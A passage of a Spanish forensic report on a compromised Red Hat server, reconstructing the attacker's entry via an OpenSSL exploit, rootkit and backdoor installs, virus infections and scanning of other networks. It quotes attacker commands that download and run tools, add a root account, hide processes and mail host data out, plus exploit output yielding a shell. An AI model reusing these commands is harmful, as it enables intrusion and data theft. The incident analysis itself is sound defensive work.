el directorio /usr/share/.X12-kernel, por lo que a pesar de que el rootkit se carga en el
sistema al reiniciar, ha quedado solo parcialmente instalado.
Una ultima comprobación que hacemos, viene dada por el md5 del fichero.
# md5sum /reto2/sbin/initsk12
a44b4fe49763349af054000b8565618a
sbin/initsk12
Esta suma md5 corresponde exactamente con el md5 del mismo fichero encontrado en un
incidente en el que el suckit esta instalado y que esta documentado en Internet 8 .
2.3.1.2. SHV4 9 .
El SHV4 es un rootkit técnicamente menos sofisticado que el suckit. Básicamente es una serie de
scripts que instala nuevos binarios sobre los originales del sistema para ocultar información. Entre
sus otras funcionalidades están:
-
Instala una puerta trasera (sshd) en un puerto configurable protegido con contraseña.
Modifica el servidor sshd por uno que almacena el usuario y contraseña de cualquier
usuario que se conecte a esa maquina.
Instala un sniffer llamando linsniffer y un script para extraer de sus logs, usuarios y
contraseñas.
En la maquina atacada, vemos en el fichero /.bash_history, como se descarga e instala el
rootkit SHV4:
7
Paquete spoofeado: paquete tcp/ip con la cabecera falsificada.
Información en la que aparece el md5 de un fichero de la maquina. Dicho fichero pertenece al rootkit Suckit
http://openskills.info/view/boxdetail.php?IDbox=20&boxtype=stdout
9
Información detallada sobre el SHV4
https://tms.symantec.com/members/AnalystReports/030929-Analysis-SHV4Rootkit.pdf
8
14
/.bash_history
14
15
16
17
18
19
20
21
22
wget www.zetu.as.ro/crk.tar.gz
tar xzvf crk.tar.gz
cd crk
./install eliteaza 1
id
su
cd crk
dir
./install eliteaz 9933
En la línea 17, se aprecia, que crea en el puerto 1 un servidor SSH con passwd “eliteaza” y un
poco más abajo instala otro en el puerto 9933 con passwd “eliteaz”. Durante la instalación ocurre lo
siguiente:
-
-
Descomprime todos los ficheros que están en el tar.gz: bin.tgz, conf.tgz, lib.tgz,
bin/ssh-only.tgz y ssh.tgz.
Se asegura de que el script esta corriendo como root.
Mata el proceso syslogd.
Coge el valor de la passwd suministrada como parámetro, o si no se le da ninguna, usa la
que esta por defecto (cycommrk) y genera dos ficheros iguales llamados
/etc/ld.so.hash y /lib/libext-2.so.7 que contiene la contraseña en formato
crypt (3). Esta es la contraseña que usara el servidor sshd que instala.
Crea el script /etc/rc.d/init.d/cycomm que lanza el servidor ssh.
Borra todos los logs del sistema que hay en /var/log y los bash_history de root.
Muestra información del sistema.
Borra el directorio de instalación y el tar.gz y acaba.
Algunas de las partes de la instalación fallan, dejando el rootkit a medio instalar y no funcional.
Si hubiera acabado, habría realizado las siguientes acciones:
-
Instalar los ficheros que están en bin.tgz, conf.tgz, lib.tgz, ssh-only.tgz y
ssh.tgz.
Configurar una copia del sshd para que escuche en el puerto suministrado y si no se
suministra uno, usa el que tiene por defecto (7777/tcp)
Copia el sshd modificado a /usr/sbin/xntpd.
Puesto que la instalación de este rootkit ha fallado en una fase tan básica, no afecta al sistema
más que en la creación de los ficheros /etc/ld.so.hash y /lib/libext-2.so.7 que por si
mismos no hacen nada, son solo la contraseña de la que sería una puerta trasera.
2.3.2. Hipótesis un virus en Linux.
Los virus no son habituales en Linux, de hecho comparados con el número existente en
plataformas Windows, son casi una rareza. Sin embargo durante este incidente, nos hemos
encontrado con dos.
15
2.3.2.1. Linux/RST.b
Durante la búsqueda de rootkits en los apartados anteriores, nos llamaron la atención dos ficheros
vacíos que habían sido creados cuando el intruso ya estaba dentro de la maquina. Estos ficheros
eran /dev/hdx1 y /dev/hdx2. Tras una búsqueda en google, se indicaba que eran parte de un
virus para Linux llamado Linux/RST.b 10
Este virus, implementa varias capacidades de backdoor, permitiendo al atacante tomar control del
sistema infectado en el caso de que el virus haya sido ejecutado con privilegios de root. El virus
infecta todos los binarios que estén el directorio actual y los del directorio /bin hasta un máximo
de 30. El virus detecta cuando un fichero está ya infectado y no lo reinfecta. También pone en
modo promiscuo tanto el primer interfaz de red eth0 como el primer interfaz PPP (ppp0). Crea los
dispositivos /dev/hdx1 y /dev/hdx2 para usarlos como semáforos en la gestión de sniffing de
los interfaces comentados. Una vez completada la rutina de infección, trata de conectarse al
servidor web ns1.xoasis.com y descargarse el fichero gov.php que no existía. De esta manera
el que programo el virus presumiblemente tenía acceso a los logs de dicho servidor, y sabría qué
maquinas estaban infectadas.
También crea un socket de EGP (External Gateway Protocol) y espera a que le llegue un paquete
de este protocolo especialmente diseñado. Si ve un paquete EGP en el que el Byte 23 sea 0x11,
comprobara en el offset 0x2a de la parte de datos del paquete una contraseña de 3 bytes (DOM).
Si es correcta, el siguiente byte indicara el comando. Si es el 1, abrirá una shell /bin/sh, si es el 2
devuelve la contraseña (DOM).
Los binarios infectados contienen las cadenas “snortdos” y “tory” por lo que es fácil localizarlos.
find /reto/hda/ –type f –perm 755 –exec grep ‘snortdos’ {} \;
Lo que nos da un total de 27 ficheros infectados. Esto nos hizo sospechar que había algo más que
se nos estaba escapando porque las firmas md5 de la base de datos rpm nos indicaba que había
65.
# grep "\/bin\/" /reto2/rpm_md5_solo_modificados.txt
65
| wc -l
2.3.2.2. Linux/OSF.a 11
Tras la diferencia de ficheros modificados que encontramos en el punto anterior, le pasamos un
antivirus (fprot) al directorio /bin buscando más virus. Encontramos que el resto de ficheros que
habían sido modificados en este directorio estaban infectados por otro virus llamado Linux/OSF.a.
Este virus infecta binarios tipo ELF de Linux añadiéndoles 8759 bytes. Si el usuario root ejecuta un
fichero infectado, el virus infectará como mucho 201 ficheros del directorio /bin, pero nunca el
fichero ps. En este caso, ha infectado 51 de los 85 que contenía el directorio (los ficheros que no
había infectado el RST.b). Este virus tiene también propiedades de backdoor, una vez ejecutado, el
virus escuchara el puerto UDP 3049 esperando órdenes:
-
Ejecutar un comando en equipo.
Correr un sniffer.
10
Información sobre Linux/RST.b
http://www.security-focus.com/archive/100/247640
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=ELF%5FRST%2EB&VSect=T
11
Linux/OSF.a: http://www.viruslibrary.com/virusinfo/Linux.OSF.8759.htm
16
-
Redirigir el trafico de la maquina a otra maquina.
El virus también trata de editar las reglas del firewall y borrarlas para prevenir cualquier bloqueo del
mismo.
2.4. De cómo el atacante entra en el sistema.
Repasando el fichero /reto2/mactime_todo.txt desde su inicio, lo primero que nos llama la atención
es la creación del fichero /etc/ssh/sshd_config~ por el usuario apache. Dicho usuario es
creado por el sistema con la única finalidad de correr el servidor web Apache. El usuario apache,
tiene unos privilegios mínimos y que no tiene login interactivo (/bin/false). Por lo tanto es muy
extraño que aparezcan ficheros creados por este usuario. Esto nos hace sospechar que la intrusión
se puede haber realizado a través del servidor web apache.
/reto2/mactime_todo.txt
129025 Sat Jan 29 2005 15:15:41
129026
0 .a. -/-rwxr-xr-x apache
0 .a. -rwxr-xr-x
apache
apache
apache
959 /etc/ssh/sshd_config~ (deleted)
959 <hda1.dd-dead-959>
Continuamos el análisis del /reto2/mactime_todo.txt y encontramos varias herramientas de
hacking (woot.tgz, sc.tgz, selena.tgz, etc.). En concreto el paquete selena.tgz 12 (un
autorooter) que más tarde usara para atacar a otras maquinas Este autorouter explota una
vulnerabilidad en el servidor web Apache instalado con soporte para SSL. Concretamente, el
exploit que usa es el openssl-too-open 13 , como nos lo indica el contenido del fichero main.c.
# grep openssl-too-open /reto2/hda/var/tmp/selena/main.c
* openssl-too-open.c - OpenSSL remote exploit
Esta vulnerabilidad afecta al paquete OpenSSL cuya versión sea inferior a la 0.9.6e. Siendo la
versión de OpenSSL instalada en la maquina del reto OpenSSL-0.9.6b
# rpm -qa --dbpath /reto2/hda/var/lib/rpm openssl
openssl-0.9.6b-18
Puesto que sospechamos que la intrusión había sido a través del servidor Apache+SSL, para
confirmarlo, lanzamos el exploit que encontramos en el paquete selena contra nuestra máquina
test, siendo este el resultado de la prueba.
#
#
#
#
#
#
#
./ssx -a 0xc 10.0.128.128
Opening 30 connections
Establishing SSL connections
Using the OpenSSL info leak to retrieve the addresses
ssl0 : 0x814bac0
ssl1 : 0x814bac0
ssl2 : 0x814bac0
# Sending shellcode
ciphers: 0x814bac0
start_addr: 0x814ba00
SHELLCODE_OFS: 208
# Execution of stage1 shellcode succeeded, sending stage2
# Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
12
13
selena.tgz: http://www.lurhq.com/atd.html
Exploit openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/
17
3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00
USER
TTY
FROM
LOGIN@
IDLE
JCPU
PCPU WHAT
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
De esta comprobación se deduce que tanto la maquina test como la maquina del reto son
vulnerables a este exploit pudiendo un atacante externo entrar en la maquina con una shell que
pertenece al usuario apache.
Buscamos en los logs del servidor Apache de la maquina test las entradas que ha generado la
explotación de la vulnerabilidad. En el siguiente cuadro recogemos las entradas:
[Tue Mar 1 22:00:47 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443,
client 10.0.128.2) (OpenSSL library error follows)
[Tue Mar 1 22:00:47 2005] [error] OpenSSL: error:1406908F:lib(20):func(105):reason(143)
No disponemos a buscar estos logs en la maquina atacada para confirmar que la intrusión se ha
producido usando este exploit. Puesto que el atacante borro todos los logs del sistema,
buscaremos esta información en el fichero /reto2/hda3.dd.unalloc.asc que contiene las
cadenas de texto de las zona no usada de la imagen hda3.dd (/var) que es la que contenía los logs
del sistema. Para ello usamos el comando grep y buscamos la cadena ”SSL handshake
failed”:
#grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc
611097301 [Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake failed
(server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows)
[…Continua…]
En las líneas anteriores confirmamos que el atacante ha entrado en la maquina aprovechando este
exploit. Además nos da más información sobre la intrusión:
-
Fecha y hora de la intrusión: Sat Jan 29 14:58:51 2005
IP del atacante: 64.202.43.190
Origen de la IP: Reno, Nevada, EEUU
Dominio del origen del ataque: asiahotels.net (Tailandia)
Servicio atacado: Apache + SSL (OpenSSL 0.9.6b)
Vulnerabilidad explotada: CA-2002-23 14 (VU#102795: OpenSSL servers contain a buffer
overflow during the SSLv2 handshake process)
Exploit usado: openssl-too-open.c
2.5. Descripción del compromiso
Como vimos anteriormente el atacante entro en la maquina el día 29 a las 14:58:51; logró acceso
con el usuario apache. Lógicamente, lo primero que debería intentar es elevar sus privilegios a
root. Veamos si lo consigue y en caso de hacerlo, cómo.
El atacante vuelve a entrar varias veces en el transcurso de 15 minutos:
#grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc
611097532 [Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190)
(OpenSSL library error follows)
611097763 [Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190)
(OpenSSL library error follows)
611097994 [Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190)
(OpenSSL library error follows)
14
CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html
18
A las 15:11:44 se conecta por ftp a una dirección desconocida y presumiblemente se descarga
algo. Este dato lo sacamos del fichero /reto2/mactime_todo.txt.
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:11:44
65832 .a. -/-rwxr-xr-x root
root
32392
/usr/bin/ftp
En principio no tenemos acceso a lo que se descarga puesto que luego lo borra y no aparece en el
listado de ficheros borrados que nos muestra autopsy. Sospechamos que se trata del exploit que
usará para convertirse en root, aunque aun no tenemos ninguna evidencia. Recordamos que el
atacante todavía es usuario apache.
A las 15:16:49 del Sat Jan 29 2005 entra en el sistema el virus RST.b del que hablamos en el
punto 2.3.2.1, infecta el /bin/gawk y crea los dispositivos /dev/hdx1 y /dev/hdx2.
/reto2/mactime_todo.txt
129027 Sat Jan 29 2005 15:16:49
129028
129029
129030
129031
252844
0
86016
252844
0
m.c
mac
m.c
m.c
mac
-/-rwxr-xr-x
-/---------d/drwxr-xr-x
-/-rwxr-xr-x
-/----------
root
root
root
root
root
root
root
root
root
root
47990
37434
31937
47990
37435
/bin/gawk
/dev/hdx1
/dev
/bin/gawk-3.1.0
/dev/hdx2
Para que la infección se haya llevado a cabo, el virus ha tenido por fuerza que ser ejecutado como
root. Nuestra hipótesis de trabajo es que el atacante durante la sesión de ftp, se bajó un exploit
local ya compilado. Dicho exploit estaba infectado con el virus RST.b y al ejecutarlo y convertirse
en root, infecta al equipo. Veamos si podemos confírmalo.
Puesto puesto que el exploit ha sido borrado, aun podemos intentar buscarlo entre los ficheros
borrados que se encuentran en la zona no usada del disco. Esta tarea sería como buscar una
aguja en un pajar sin saber ni donde ni que buscar, pero en este caso, sabemos que como está
infectado con el virus RST.b tiene que contener forzosamente la cadena de texto “snortdos”.
Puesto que siendo el usuario apache, no podía escribir en demasiados sitios, lo más probable es
que usara el directorio /tmp, lo cual queda reforzado por el hecho de que más adelante vemos que
en /var/tmp/.bash_history borra el contenido de dicho directorio. Por lo tanto empezaremos mirando
en los archivos borrados de la partición raíz (hda1) que es la que contiene el directorio /tmp.
Usaremos por comodidad en este caso, la interfaz web de Autopsy para buscar la cadena de texto
“snortdos” en la parte unallocated de hda1:
19
Encuentra un acierto con la cadena “snortdos”. Si nuestra suposición es cierta podría tratarse del exploit que
estamos buscando.
Cuando verificamos lo que ha encontrado en la unidad 24866, vemos que efectivamente se trata
de parte del virus. Revisamos la unidad anterior (24866) mirando las cadenas ASCII y ¡Eureka!
vemos las cadenas de lo que parece un exploit local que aprovecha la conocida vulnerabilidad
20
ptrace 15 de los kernels 2.2 y 2.4. Más tarde, descubrimos que este exploit era la herramienta “own”
que posteriormente podemos recuperar también, del lugar del que se la descargó.
El fichero en su conjunto, ocupa 6 unidades, hemos recuperado el exploit infectado con el virus y lo
añadimos al informe como un fichero aparte.
Por lo tanto el atacante logro hacerse root a las 15:16:49 del 29 de Enero usando un exploit local
para el kernel (ptrace). El binario en cuestión esta ubicado desde la unidad 24865 a la 24870
(ocupa 6 unidades) y lo aportamos como evidencia en un fichero adjunto (exploit_ptrace_infectado)
a este informe. Hay que recordar que esta infectado con el virus RST.b y que en cualquier
ordenador vulnerable donde se ejecute será infectado con él.
Una vez que el atacante se ha hecho con los privilegios de root, comienza a instalar una serie de
herramientas que le permitirán, ocultar sus actividades y acceder de forma fácil otra vez al equipo.
Lo primero que hace a las 15:17:13 del día 29, es crear una cuenta de un usuario llamado weed
con privilegios de root y ponerle una contraseña. Este usuario lo va a crear y borrar tres veces.
/.bash_history
/reto2/mactime_todo.txt
adduser -g 0 -u 0 -o weed
Sat Jan 29 2005 15:17:13
124
4096
24
191
124
mac
m.c
.a.
.a.
.a.
-/-rw-r--r-d/drwx------/-rw-r--r--/-rw-r--r--/-rw-r--r--
root
root
root
root
root
root
root
root
root
root
64004
64001
95821
95822
95823
/home/weed/.bashrc
/home/weed
/etc/skel/.bash_logout
/etc/skel/.bash_profile
/etc/skel/.bashrc
15
Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4:
http://www.kb.cert.org/vuls/id/628849
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127
21
0 mac -/-rw-rw---- root
191 mac -/-rw-r--r-- root
24 mac -/-rw-r--r-- root
passwd weed
root
root
root
352010
64003
64002
/var/spool/mail/weed
/home/weed/.bash_profile
/home/weed/.bash_logout
root
root
root
root
32050
128196
95820
128208
/etc/passwd/usr/sbin/adduser
/etc/default/useradd
/usr/sbin/useradd
Sat Jan 29 2005 15:18:35
1414
7
96
52168
m..
.a.
.a.
.a.
-/-rw------l/lrwxrwxrwx
-/-rw-------/-rwxr-xr-x
root
root
root
root
Durante la sesión ftp o inmediatamente después, se bajo el exploit local para el kernel (own) que
fuel el que uso para hará escalar privilegios y también se descargo la herramienta za.tgz. Tanto
za.tgz como own se los bajo del mismo sitio web http://www.zetu.as.ro. No ha quedado rastro de las
mismas porque más tarde las borra. Se describe estas herramientas en el punto 3 del informe.
/.bash_history
rm -rf za*
rm -rf own
Entre las 15:18:35 y las 15:19:33 se descarga el rootkit SHV4 que está contenido en el fichero
crk.tar.gz y lo descomprime. Entre las 15:19:33 y las 15.21:50 ejecuta la instalación de este rootkit
por dos veces. El rootkit como ya explicamos en el punto 2.3.1.2 abre una puerta trasera por ssh
en el puerto suministrado, sin embargo falla en su instalación ¿quizás por eso lo instala por dos
veces?
/.bash_history
/reto2/mactime_todo.txt
wget www.zetu.as.ro/crk.tar.gz
tar xzvf crk.tar.gz
cd crk
./install eliteaza 1
id
su
cd crk
dir
./install eliteaz 9933
Sat Jan 29 2005 15:19:33
107 .a. -/-rw-r--r-- Contador Contador 81746
33848 .a. -/-rwxr-xr-x root
root
111859
16 m.. l/lrwxrwxrwx root
root
111861
73
43
154
89
.a.
.a.
.a.
.a.
-/-rw-r--r--/-rw-r--r--/-rw-r--r--/-rw-r--r--
Contador
Contador
Contador
Contador
Contador
Contador
Contador
Contador
81748
48889
81747
81749
/usr/include/file.h
/lib/libproc.a
/lib/libproc.so ->
libproc.so.2.0.6
/usr/include/log.h
/lib/lidps1.so
/usr/include/hosts.h
/usr/include/proc.h
A las 15:21:46 se descarga y descomprime el segundo rootkit que va a instalar: suckit. A las
15:22:00 lo ejecuta y como resultado renombra el /sbin/init a /sbin/initsk12. Durante la instalación
se crea un nuevo /sbin/init que contiene el rootkit que será cargado en el próximo reinicio. Como
indicamos en el punto 2.3.1.1 este rootkit también queda parcialmente instalado. Además tras
haberlo probado en nuestra maquina test, de haberse reiniciado el equipo, no habría arrancado
acabando aquí con toda la intrusión.
/root/.bash_history
/reto2/mactime_todo.txt
wget xhack.150m.com/sc.tgz
tar -zxvf sc.tgz
cd sc
./inst
./sk
Sat Jan 29 2005 15:22:00
4096 m.c d/drwxr-xr-x root
26920 mac -/-rwxr-xr-x root
33348 mac -/-rwxr-xr-x root
root
root
root
47909
48881
48884
/sbin
/sbin/initsk12
/sbin/init
22
Una vez que ha acabado, borra el directorio de instalación.
/root/.bash_history
rm -rf sc*
A continuación se descarga y ejecuta la herramienta https. Se trata de una puerta trasera escrita
en perl que analizamos más en profundidad en la sección 3 de herramientas instaladas por el
atacante.
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:22:12
0 .a. -rw-r--r-root
8022 .a. -/-r--r--r-- root
root
root
966
320187
<hda1.dd-dead-966>
/usr/lib/perl5/5.6.1/i386-linux/IO/Select.pm
Puesto que este es el último comando que aparece en /root/.bash_history, concluimos que esta es
la última vez que se conecta como usuario root con esta shell. Esto podría no ser cierto, ya que
puede deshabilitar el logging de comandos del bash_history, pero viendo como ha “eliminado” el
resto de rastros, no creemos que lo haya hecho. Además, ya no le hace falta, puesto que ha
instalado varias puertas traseras. Termina la sesión a las 15:22:20 y no vuelve a usar esta shell.
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:22:20
133 m.c -/-rw------- root
root
98069
/root/.bash_history
A las 15:22:22 se conecta por primera vez por ssh a localhost, usando el usuario weed. Más tarde
volverá a hacerlo.
/.bash_history
/reto2/mactime_todo.txt
ssh -l weed localhost
Sat Jan 29 2005 15:22:22
219 m.c -/-rw-r--r-- root
4096 m.c d/drwx------ root
root
root
111855 /root/.ssh/known_hosts
111854 /root/.ssh
Borra al usuario weed por última vez a las 15:25:25.
/.bash_history
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:25:25
userdel weed
/usr/sbin/userdel weed
0
0
457
1381
0
35336
mac
mac
.a.
m.c
mac
.a.
-/-rw------- root
-rw------- root
-/-r-------- root
-/-rw-r--r-- root
-/-rw------- root
-/-rwxr-xr-x root
root
root
root
root
root
root
37415
/etc/passwd.lock
37437
<hda1.dd-dead-37437>
37431
/etc/gshadow
37441
/etc/passwd
37439
/etc/group.lock
128209
/usr/sbin/userdel
A las 15:26:47 se descarga la herramienta pico que es otro backdoor. Unos segundos más tarde,
trata de ocultar la utilidad pico, renombrándola a “ “(un espacio).
/.bash_history
/reto2/mactime_todo.txt
wget www.zetu.as.ro/pico
Sat Jan 29 2005 15:26:47
chmod +x pico
24056 m.. -/-rwxr-xr-x root
root
96002
/var/log/pico
(deleted-realloc)
23
mv pico " "
Sat Jan 29 2005 15:26:55
24056 ..c -/-rwxr-xr-x root
root
96002
24056 ..c -/-rwxr-xr-x root
root
96002
/var/log/pico
(deleted-realloc)
/var/log/
Finalmente, modifica el path de ejecución y ejecuta el pico renombrado a las 15:27:01.
/.bash_history
/reto2/mactime_todo.txt
export PATH="."
“ “
Sat Jan 29 2005 15:27:01
24056 .a. -/-rwxr-xr-x root
root
96002
/var/log/pico
(deleted-realloc)
El backdoor pico, además de abrir una puerta trasera, recoge información con una serie de
comandos y la manda por correo a la dirección [email protected] de esta forma, el atacante
entre otras cosa se manda la IP de la maquina para no olvidarla y volver después.
strings /var/log/pico
/reto2/mactime_todo.txt
touch /tmp/.info;
hostname -i >> /tmp/.info;
uname -a >> /tmp/.info;
cat /etc/*release >> /tmp/.info;
/sbin/ifconfig | grep inet >>
/tmp/.info;
cat /tmp/.info | mail -s 'Port
nou' [email protected]
Sat Jan 29 2005 15:27:01
64761 .a. -/-rwxr-xr-x root
0 mac -/-rw-r--r-- root
root
root
47944
18407
/sbin/ifconfig
/tmp/.info
A las 15:27:24 mata cualquier proceso llamado zbind (se equivoca las dos primeras veces). El
proceso zbind es una puerta trasera estaba contenida en el fichero za.tgz que se descargo y
ejecutó al principio del compromiso (15:11:44). Probablemente al haber abierto otra puerta trasera
con el pico, ya no necesitaba ésta.
/.bash_history
/reto2/mactime_todo.txt
/usr//sbin/killall -9 zbind
/usr/sbin/killall -9 zbind
/usr/bin/killall -9 zbind
Sat Jan 29 2005 15:27:24
12320 .a. -/-rwxr-xr-x root
665 m.c -/-rw------- root
root
root
32165
982
/usr/bin/killall
/.bash_history
En el mismo segundo se sale de la shell. Por lo tanto, la shell desde la que mata el proceso zbind
había sido iniciada a través del propio backdoor zbind y al matarlo la sesión finaliza abruptamente.
Por esta razón el home del usuario es el directorio raíz “/” cuando al estar trabajando como root en
un inicio de sesión normal, debería de tener el directorio /root como home.
Se conecta otra vez, pero el home que tiene ahora es el /var/tmp que es donde va a desarrollar sus
próximas acciones hasta el final de la intrusión. Seguiremos las acciones realizadas a través del
.bash_history que ha quedado en /var/tmp.
A las 15:36:34 se descarga el paquete w00t.tgz, lo descomprime y ejecuta el comando asmb. Este
paquete es un autorooter para el servidor samba y lo lanza contra la clase B 200.207.0.0/16 que en
unas rápidas consultas con el whois descubrimos que pertenece a Brasil (diversas subredes). El
w00t, escanea buscando servidores samba vulnerables y compromete de forma automatizada
todos aquellos que encuentra. Esta herramienta se describe con más detalle en el punto 3 del
presente documento.
24
/var/tmp/.bash_history
/reto2/mactime_todo.txt
wget
www.zetu.as.ro/woot.tgz
tar xvfz woot.tgz
Sat Jan 29 2005 15:36:34
396
813
42930
5767
121
13516
39340
24798
39469
26592
885
206
20893
21495
42762
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
-/-rw-r--r--/-rwxr-xr-x
-/-rw-r--r--/-rw-r--r--/-rwxr-xr-x
-/-rw-r--r--/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rw-r--r--/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rw-r--r--
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
523
336009
336010
336021
336020
336012
336013
336018
336017
336022
336015
336008
336011
336014
336016
336019
/var/tmp/w00t/try.c
/var/tmp/w00t/asmb
/var/tmp/w00t/sambas.c
/var/tmp/w00t/pscan2.c
/var/tmp/w00t/make
/var/tmp/w00t/vuln.c
/var/tmp/w00t/samba
/var/tmp/w00t/pscan2
/var/tmp/w00t/sambas
/var/tmp/w00t/vuln
/var/tmp/w00t/o0o.c
/var/tmp/w00t/auto
/var/tmp/w00t/try
/var/tmp/w00t/o0o
/var/tmp/w00t/samba.c
cd w00t
./asmb 200.207
Las modificaciones de ficheros binarios del directorio /bin que sobrevienen a continuación, son
causadas por el virus OSF.a. Todos los binarios del paquete w00t están infectados con este virus
que hemos descrito con detalle en el punto 2.3.2.2. Curiosamente no afectan a los binarios que
habían sido infectados anteriormente con el virus RST.b. A continuación mostramos algunos de los
binarios infectados.
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:36:43
16523
30815
52255
103123
72314
64291
51807
29549
19839
11463
297363
37215
31935
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
..c
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
-/-rwxr-xr-x
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
48293
48225
47982
47994
48001
48029
48018
48027
48226
48291
48026
48231
48295
/bin/kill
/bin/date
/bin/mv
/bin/ash
/bin/gunzip
/bin/sort
/bin/consolechars
/bin/cat
/bin/echo
/bin/arch
/bin/tcsh
/bin/stty
/bin/more
El resultado de lanzar w00t contra la red 200.207.0.0/16 se almacena en el fichero
“/var/tmp/w00t/200.207.pscan.139” pero como no encuentra ningún objetivo, finalmente el fichero
se queda vacío.
Después de las 15:42:46 se descarga un bouncer de irc: psybnc. Dicho programa, es usado para
mantener sesiones en canales irc, ocultar la IP real, lanzar denegaciones de servicio, etc. Hay una
descripción completa del psybnc en el punto 3 del presente documento. En el equipo atacado, de
hecho, realiza dos instalaciones del psybnc. La primera en el directorio /dev/shm de la que no ha
quedado nada, porque en algún momento la borra. Vemos a continuación la secuencia de
comandos que ejecutó.
25
/var/tmp/.bash_history
cd /dev/shm
dir
wget www.zetu.as.ro/psyz.tar.gz
tar xzvf psyz.tar.gz
rm -rf psyz.tar.gz
mv psybnc local
cd local
rm -rf psybnc.conf*
wget www.zetu.as.ro/psybnc/psybnc.conf
mv psybnc "ps ax"
export PATH="."
"ps ax"
Como se puede comprobar en el cuadro anterior, se baja otro fichero de configuración y cambia el
nombre al psybnc para que parezca el comando “ps ax” y no llame la atención si alguien revisa los
procesos del sistema.
La segunda instalación la realiza en el directorio /var/tmp, a las 15:46:27 se descarga otro paquete
con el psybnc, lo descomprime y acto seguido lo ejecuta. Esto trata de a correr el irc bouncer en el
puerto 17900/tcp.
/var/tmp/.bash_history
/reto2/mactime_todo.txt
Sat Jan 29 2005 15:46:27
wget www.zetu.as.ro/psybnc.tgz
tar xvfz psybnc.tgz
957521 ..c -/-rw-r--r-- root
root
32012 /var/tmp/psybnc.tgz
Sat Jan 29 2005 15:46:42
cd psybnc
./psybnc
533616 .a. -/-rwxr-xr-x 657
226 192018 /var/tmp/psybnc/psybnc
7 mac -/-rw------- root root 192021 /var/tmp/psybnc/psybnc.pid
356 mac -/-rw------- root root 128014 /var/tmp/psybnc/log/psybnc.log
Sin embargo, le da algunos fallos, pero al final arranca el bouncer. Podemos comprobarlo en los
logs que hay en el fichero /var/tmp/psybnc/log/psybnc.log
/var/tmp/psybnc/log/psybnc.log
Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900
Sat Jan 29 15:46:42 :Error Creating Socket
Sat Jan 29 15:46:42 :Can't create listening sock on host * port 17900
Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats or Files. Please define at
least one Listener for an IP.
Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID :24907)
Dos días después, el 31 de Enero a las 00:39:17 se vuelve a conectar por ssh.
/reto2/mactime_todo.txt
Mon Jan 31 2005 00:39:17
88039 .a. -/-rw------- root
root
850
/etc/ssh/moduli
Y a las 03:12:48 alguien se conecta al psybnc de esta maquina. En el log USER1.LOG vemos que
se conecta a undernet.org.
26
/reto2/mactime_todo.txt
Mon Jan 31 2005 03:12:48
105 mac -/-rw------- root
4096 m.. d/drwxr-xr-x 657
root
226
192023
192011
/var/tmp/psybnc/USER1.LOG
/var/tmp/psybnc
A las 11:35:07 y tras ejecutar algunos comandos del sistema (w, ps, dir) se descarga la última
herramienta que instalará: selena.tgz.
/var/tmp/.bash_history
/reto2/mactime_todo.txt
Mon Jan 31 2005 11:35:07
4224 .a. -/-rw-rw-r-- root
8432 .a. -/-r-xr-xr-x root
w
utmp
root
304004 /var/run/utmp
32161 /usr/bin/w
Mon Jan 31 2005 11:35:13
ps aux
cd /var/tmp
63304 .a. -/-r-xr-xr-x root
root
48002 /bin/ps
root
31981 /etc/termcap
root
32116 /usr/bin/dir
Mon Jan 31 2005 11:46:49
ls
737535 .a. -/-rw-r--r-- root
Mon Jan 31 2005 11:46:57
dir
46888 .a. -/-rwxr-xr-x root
Mon Jan 31 2005 11:51:38
wget
http://www.plus.factory.home.ro/selena.tgz
342006 ..c -/-rw-r--r-- root
root 32011 /var/tmp/selena.tgz
El paquete selena es un autorooter de apache+ssl. La descomprime y lo lanza contra las redes
217.172.0.0/16, a la búsqueda de servidores apache con el puerto 443 (https) abierto y vulnerables
al exploit que contiene. Como curiosidad, decir que los binarios del selena también están
infectados por el virus RST.b, aunque a estas alturas del compromiso, poco queda que no haya
sido infectado ya. El selena y sus componentes será explicada en detalle en el punto 3 del
presente documento.
/var/tmp/.bash_history
/reto2/mactime_todo.txt
